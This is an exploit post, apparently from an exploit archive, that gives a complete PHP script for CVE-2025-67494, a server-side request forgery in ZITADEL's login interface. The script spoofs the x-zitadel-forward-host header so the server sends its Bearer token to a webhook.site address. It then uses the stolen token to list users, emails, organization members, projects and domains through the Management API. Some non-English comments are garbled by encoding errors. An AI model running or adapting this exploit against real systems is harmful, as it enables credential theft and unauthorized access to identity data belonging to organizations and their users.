Share
## https://sploitus.com/exploit?id=PACKETSTORM:214216
=============================================================================================================================================
    | # Title     : ZITADEL 4.7.0 SSRF Exploit - PHP Version                                                                                    |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://github.com/zitadel                                                                                                  |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/212661/ & 	CVE-2025-67494
    
    [+] Summary    : This PHP script exploits CVE-2025-67494, a Server-Side Request Forgery (SSRF) vulnerability in ZITADEL's login interface that allows attackers to retrieve Bearer tokens and access the Management API.
    
    [+] SSRFExploiter Class :
    
        Sends malicious SSRF requests to ZITADEL's /ui/v2/login endpoint
    
        Uses the x-zitadel-forward-host header to redirect requests to attacker-controlled servers
    	
    [+]  POC :
    
    # Basic usage (auto-detects API URL)
    
    php exploit.php -u http://target:29000
    
    # Specify custom API URL
    
    php exploit.php --ui-url http://target.com --api-url http://target.com:28080 --timeout 120
    
    
    <?php
    
    error_reporting(E_ALL);
    ini_set('display_errors', 1);
    
    class WebhookManager {
        private $token;
        private $url;
        
        public function create() {
            try {
                $ch = curl_init("https://webhook.site/token");
                curl_setopt_array($ch, [
                    CURLOPT_POST => true,
                    CURLOPT_RETURNTRANSFER => true,
                    CURLOPT_TIMEOUT => 10,
                    CURLOPT_HTTPHEADER => ['Content-Type: application/json']
                ]);
                
                $response = curl_exec($ch);
                $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                curl_close($ch);
                
                if (in_array($httpCode, [200, 201])) {
                    $data = json_decode($response, true);
                    $token = $data['uuid'] ?? null;
                    if ($token) {
                        $this->token = $token;
                        $this->url = "https://webhook.site/{$token}";
                        return [$token, $this->url];
                    }
                }
            } catch (Exception $e) {
                $this->logError("Error creating webhook: " . $e->getMessage());
            }
            return [null, null];
        }
        
        public function getRequests($timeout = 60) {
            if (!$this->token) {
                return null;
            }
            
            $url = "https://webhook.site/token/{$this->token}/requests";
            $startTime = time();
            $pollInterval = 5;
            $lastCheck = 0;
            
            while (time() - $startTime < $timeout) {
                $elapsed = time() - $startTime;
                
                try {
                    $ch = curl_init($url);
                    curl_setopt_array($ch, [
                        CURLOPT_RETURNTRANSFER => true,
                        CURLOPT_TIMEOUT => 10
                    ]);
                    
                    $response = curl_exec($ch);
                    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                    curl_close($ch);
                    
                    if ($httpCode == 200) {
                        $data = json_decode($response, true);
                        $total = is_array($data) && isset($data['total']) ? (int)$data['total'] : 0;
                        
                        if ($total > $lastCheck) {
                            $this->logInfo("Webhook received {$total} request(s)...");
                            $lastCheck = $total;
                        }
                        
                        if (isset($data['data']) && is_array($data['data']) && count($data['data']) > 0) {
                            return $data['data'];
                        }
                    }
                    
                    $remaining = $timeout - $elapsed;
                    if ($remaining > 0 && $remaining % 10 == 0 && $elapsed > 5) {
                        $this->logInfo("Waiting for SSRF request... ({$remaining}s remaining)");
                    }
                } catch (Exception $e) {
                    $this->logError("Error polling webhook: " . $e->getMessage());
                }
                
                if ($elapsed < $timeout) {
                    sleep($pollInterval);
                }
            }
            
            return null;
        }
        
        public function extractBearerToken($requestsData) {
            if (!$requestsData) {
                return null;
            }
            
            foreach ($requestsData as $req) {
                $headers = $req['headers'] ?? [];
                
                foreach ($headers as $key => $value) {
                    if (strtolower($key) === 'authorization') {
                        $authHeader = is_array($value) ? ($value[0] ?? '') : $value;
                        if (strpos($authHeader, 'Bearer ') === 0) {
                            return substr($authHeader, 7);
                        }
                    }
                }
            }
            
            return null;
        }
        
        public function getUrl() {
            return $this->url;
        }
        
        private function logInfo($message) {
            echo "[*] $message\n";
        }
        
        private function logError($message) {
            echo "[!] $message\n";
        }
    }
    
    class SSRFExploiter {
        private $targetUrl;
        
        public function __construct($targetUrl) {
            $this->targetUrl = $targetUrl;
        }
        
        public function exploit($oobHost) {
            $this->logInfo("Exploiting SSRF to {$this->targetUrl}");
            $this->logInfo("OOB host: {$oobHost}");
            
            $url = "{$this->targetUrl}/ui/v2/login";
            $headers = ["x-zitadel-forward-host: {$oobHost}"];
            
            try {
                $ch = curl_init($url);
                curl_setopt_array($ch, [
                    CURLOPT_RETURNTRANSFER => true,
                    CURLOPT_TIMEOUT => 30,
                    CURLOPT_HTTPHEADER => $headers
                ]);
                
                $response = curl_exec($ch);
                $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                curl_close($ch);
                
                $this->logSuccess("SSRF request sent (status: {$httpCode})");
                return true;
            } catch (Exception $e) {
                $this->logError("Error during SSRF exploitation: " . $e->getMessage());
                return false;
            }
        }
        
        private function logInfo($message) {
            echo "[*] $message\n";
        }
        
        private function logSuccess($message) {
            echo "[+] $message\n";
        }
        
        private function logError($message) {
            echo "[!] $message\n";
        }
    }
    
    class ZitadelAPI {
        private $baseUrl;
        private $token;
        private $searchQuery = '{"query": {"offset": "0", "limit": 10}}';
        
        public function __construct($baseUrl, $token) {
            $this->baseUrl = $baseUrl;
            $this->token = $token;
        }
        
        private function apiRequest($method, $endpoint, $errorMsg = "", $isPost = false) {
            $url = "{$this->baseUrl}/management/v1/{$endpoint}";
            $headers = ["Authorization: Bearer {$this->token}"];
            
            if ($isPost) {
                $headers[] = "Content-Type: application/json";
            }
            
            try {
                $ch = curl_init($url);
                curl_setopt_array($ch, [
                    CURLOPT_RETURNTRANSFER => true,
                    CURLOPT_TIMEOUT => 10,
                    CURLOPT_HTTPHEADER => $headers
                ]);
                
                if (strtoupper($method) === 'POST') {
                    curl_setopt($ch, CURLOPT_POST, true);
                    curl_setopt($ch, CURLOPT_POSTFIELDS, $this->searchQuery);
                }
                
                $response = curl_exec($ch);
                $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                curl_close($ch);
                
                if ($httpCode == 200) {
                    return json_decode($response, true);
                }
            } catch (Exception $e) {
                if ($errorMsg) {
                    $this->logError("{$errorMsg}: " . $e->getMessage());
                }
            }
            
            return null;
        }
        
        public function getIamInfo() {
            return $this->apiRequest('GET', 'iam', 'Error retrieving IAM info');
        }
        
        public function getOrgInfo() {
            return $this->apiRequest('GET', 'orgs/me', 'Error retrieving org info');
        }
        
        public function listUsers() {
            return $this->apiRequest('POST', 'users/_search', 'Error listing users', true);
        }
        
        public function listProjects() {
            return $this->apiRequest('POST', 'projects/_search', 'Error listing projects', true);
        }
        
        public function listOrgMembers() {
            return $this->apiRequest('POST', 'orgs/me/members/_search', 'Error listing members', true);
        }
        
        public function listOrgDomains() {
            return $this->apiRequest('POST', 'orgs/me/domains/_search', 'Error listing domains', true);
        }
        
        public function getUserMemberships($userId) {
            $endpoint = "users/{$userId}/memberships/_search";
            return $this->apiRequest('POST', $endpoint, 'Error retrieving memberships', true);
        }
        
        private function logError($message) {
            echo "[!] $message\n";
        }
    }
    
    class DataFormatter {
        public static function formatIamInfo($data) {
            if (!$data) return null;
            
            $gid = $data['globalOrgId'] ?? 'N/A';
            $pid = $data['iamProjectId'] ?? 'N/A';
            $did = $data['defaultOrgId'] ?? 'N/A';
            
            return "Global Org ID: {$gid}\nIAM Project ID: {$pid}\nDefault Org ID: {$did}";
        }
        
        public static function formatOrgInfo($data) {
            if (!$data || !isset($data['org'])) return null;
            
            $org = $data['org'];
            $oid = $org['id'] ?? 'N/A';
            $name = $org['name'] ?? 'N/A';
            $state = $org['state'] ?? 'N/A';
            $domain = $org['primaryDomain'] ?? 'N/A';
            
            return "ID: {$oid}\nName: {$name}\nState: {$state}\nPrimary Domain: {$domain}";
        }
        
        public static function formatUsers($data) {
            return self::formatList($data, function($user) {
                $userType = isset($user['machine']) ? "Machine" : "Human";
                $username = $user['userName'] ?? 'N/A';
                $state = $user['state'] ?? 'N/A';
                
                if (isset($user['human']['email']['email'])) {
                    $email = $user['human']['email']['email'];
                    return "{$userType}: {$username} ({$email}) - {$state}";
                }
                return "{$userType}: {$username} - {$state}";
            });
        }
        
        public static function formatProjects($data) {
            return self::formatList($data, function($project) {
                $name = $project['name'] ?? 'N/A';
                $id = $project['id'] ?? 'N/A';
                $state = $project['state'] ?? 'N/A';
                return "{$name} (ID: {$id}) - {$state}";
            });
        }
        
        public static function formatMembers($data) {
            return self::formatList($data, function($member) {
                $email = $member['email'] ?? 'N/A';
                $roles = implode(", ", $member['roles'] ?? []);
                return "{$email} - Roles: {$roles}";
            });
        }
        
        public static function formatDomains($data) {
            return self::formatList($data, function($domain) {
                $domainName = $domain['domainName'] ?? 'N/A';
                $verified = !empty($domain['isVerified']) ? "Verified" : "Not Verified";
                $primary = !empty($domain['isPrimary']) ? "Primary" : "";
                $result = "{$domainName} - {$verified}";
                if ($primary) $result .= " {$primary}";
                return trim($result);
            });
        }
        
        public static function formatMemberships($data) {
            return self::formatList($data, function($membership) {
                $orgName = $membership['displayName'] ?? 'N/A';
                $roles = implode(", ", $membership['roles'] ?? []);
                $iam = !empty($membership['iam']) ? "IAM" : "Org";
                return "{$iam}: {$orgName} - Roles: {$roles}";
            });
        }
        
        private static function formatList($data, $formatter) {
            if (!$data || !isset($data['result']) || empty($data['result'])) {
                return null;
            }
            
            $items = array_map($formatter, $data['result']);
            $items = array_filter($items);
            
            return !empty($items) ? implode("\n", $items) : null;
        }
    }
    
    function printInfo($title, $data, $formatter = null) {
        if (!$data) return;
        
        echo "\n" . str_repeat('=', 60) . "\n";
        echo "{$title}\n";
        echo str_repeat('=', 60) . "\n";
        
        if ($formatter) {
            $formatted = call_user_func($formatter, $data);
            if ($formatted) {
                echo "{$formatted}\n";
            }
        } else {
            echo json_encode($data, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE) . "\n";
        }
    }
    
    function parseArguments() {
        global $argv;
        $options = [
            'ui-url:' => 'u:',
            'api-url:' => 'a:',
            'timeout:' => '',
            'help' => 'h'
        ];
        
        $parsed = getopt(implode('', array_values($options)), array_keys($options));
        
        $args = [];
        $args['ui-url'] = $parsed['u'] ?? $parsed['ui-url'] ?? null;
        $args['api-url'] = $parsed['a'] ?? $parsed['api-url'] ?? null;
        $args['timeout'] = $parsed['timeout'] ?? 60;
        $args['help'] = isset($parsed['h']) || isset($parsed['help']);
        
        return $args;
    }
    
    function showHelp() {
        echo "By indoushka - Exploit for CVE-2025-67494 - ZITADEL SSRF with automatic Bearer token retrieval\n\n";
        echo "Usage: php " . basename(__FILE__) . " [options]\n\n";
        echo "Options:\n";
        echo "  -u, --ui-url    ZITADEL Login UI URL (e.g., http://localhost:29000)\n";
        echo "  -a, --api-url   ZITADEL Management API URL (e.g., http://localhost:28080).\n";
        echo "                  If not provided, will be auto-detected from UI URL\n";
        echo "  --timeout       Timeout in seconds (default: 60)\n";
        echo "  -h, --help      Show this help message\n";
    }
    
    function main() {
        $args = parseArguments();
        
        if ($args['help'] || !$args['ui-url']) {
            showHelp();
            exit($args['help'] ? 0 : 1);
        }
        
        // ุฅุถุงูุฉ ุงู„ุจุฑูˆุชูˆูƒูˆู„ ุฅุฐุง ู„ู… ูŠูƒู† ู…ูˆุฌูˆุฏู‹ุง
        $uiUrl = $args['ui-url'];
        if (!preg_match('#^https?://#i', $uiUrl)) {
            $uiUrl = "http://" . $uiUrl;
            echo "[*] Added protocol to UI URL: {$uiUrl}\n";
        }
        
        if ($args['api-url']) {
            $baseUrl = $args['api-url'];
            if (!preg_match('#^https?://#i', $baseUrl)) {
                $baseUrl = "http://" . $baseUrl;
            }
        } else {
            $parsed = parse_url($uiUrl);
            
            // ู‚ูŠู… ุงูุชุฑุงุถูŠุฉ ููŠ ุญุงู„ุฉ ุนุฏู… ูˆุฌูˆุฏ ุจูŠุงู†ุงุช
            $scheme = $parsed['scheme'] ?? 'http';
            $host = $parsed['host'] ?? '127.0.0.1';
            $port = $parsed['port'] ?? null;
            
            // ุญุงูˆู„ ุชุญุฏูŠุฏ ุงู„ู…ู†ูุฐ ุงู„ุตุญูŠุญ ุจู†ุงุกู‹ ุนู„ู‰ ุงู„ู…ู†ูุฐ ุงู„ู…ุฏุฎู„
            if ($port == 28080) {
                // ุฅุฐุง ูƒุงู† ุงู„ู…ู†ูุฐ 28080 (API)ุŒ ูุงุณุชุฎุฏู… 29000 ู„ู„ู€ UI
                $uiUrl = "{$scheme}://{$host}:29000";
                $baseUrl = "{$scheme}://{$host}:28080";
            } elseif ($port == 29000) {
                // ุฅุฐุง ูƒุงู† ุงู„ู…ู†ูุฐ 29000 (UI)ุŒ ูุงุณุชุฎุฏู… 28080 ู„ู„ู€ API
                $uiUrl = "{$scheme}://{$host}:29000";
                $baseUrl = "{$scheme}://{$host}:28080";
            } else {
                // ุฅุฐุง ูƒุงู† ู…ู†ูุฐ ุขุฎุฑุŒ ุงูุชุฑุถ ุฃู†ู‡ UI ูˆุงุณุชุฎุฏู… ุงู„ู…ู†ูุฐ ุงู„ุงูุชุฑุงุถูŠ ู„ู„ู€ API
                $baseUrl = "{$scheme}://{$host}:28080";
            }
            
            echo "[*] Auto-detected: UI on {$uiUrl}, API on {$baseUrl}\n";
        }
        
        echo "[*] Starting CVE-2025-67494 exploit\n";
        echo "[*] UI URL: {$uiUrl}, API URL: {$baseUrl}\n";
        
        // ... ุจุงู‚ูŠ ุงู„ูƒูˆุฏ
        
        $webhook = new WebhookManager();
        echo "[*] Creating webhook.site URL via API...\n";
        list($webhookToken, $webhookUrl) = $webhook->create();
        
        if (!$webhookToken) {
            echo "[!] Failed to create webhook via API\n";
            exit(1);
        }
        
        $oobHost = "{$webhookToken}.webhook.site";
        echo "[+] Webhook created: {$webhookUrl}\n";
        echo "[*] OOB host: {$oobHost}\n";
        
        $exploiter = new SSRFExploiter($uiUrl);
        echo "[*] Sending SSRF request...\n";
        $exploiter->exploit($oobHost);
        
        $timeout = (int)$args['timeout'];
        echo "[*] Polling webhook for Bearer token (timeout: {$timeout}s)...\n";
        $requestsData = $webhook->getRequests($timeout);
        
        if (!$requestsData) {
            echo "[!] Timeout: No requests received within {$timeout} seconds\n";
            exit(1);
        }
        
        $token = $webhook->extractBearerToken($requestsData);
        if (!$token) {
            echo "[!] Bearer token not found in webhook requests\n";
            exit(1);
        }
        
        echo "[+] Bearer token successfully retrieved!\n";
        echo "[*] Token: " . substr($token, 0, 50) . "...\n";
        echo "[*] Retrieving information via Management API...\n";
        
        $api = new ZitadelAPI($baseUrl, $token);
        
        $iamInfo = $api->getIamInfo();
        printInfo("IAM Information", $iamInfo, ['DataFormatter', 'formatIamInfo']);
        
        $orgInfo = $api->getOrgInfo();
        printInfo("Organization Information", $orgInfo, ['DataFormatter', 'formatOrgInfo']);
        
        $users = $api->listUsers();
        printInfo("Users", $users, ['DataFormatter', 'formatUsers']);
        
        if ($users && isset($users['result']) && count($users['result']) > 0) {
            $firstUserId = $users['result'][0]['id'];
            $memberships = $api->getUserMemberships($firstUserId);
            printInfo("User Memberships (User ID: {$firstUserId})", $memberships, ['DataFormatter', 'formatMemberships']);
        }
        
        $projects = $api->listProjects();
        printInfo("Projects", $projects, ['DataFormatter', 'formatProjects']);
        
        $members = $api->listOrgMembers();
        printInfo("Organization Members", $members, ['DataFormatter', 'formatMembers']);
        
        $domains = $api->listOrgDomains();
        printInfo("Organization Domains", $domains, ['DataFormatter', 'formatDomains']);
        
        echo "[+] Exploitation completed successfully!\n";
    }
    
    if (PHP_SAPI === 'cli') {
        main();
    }
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================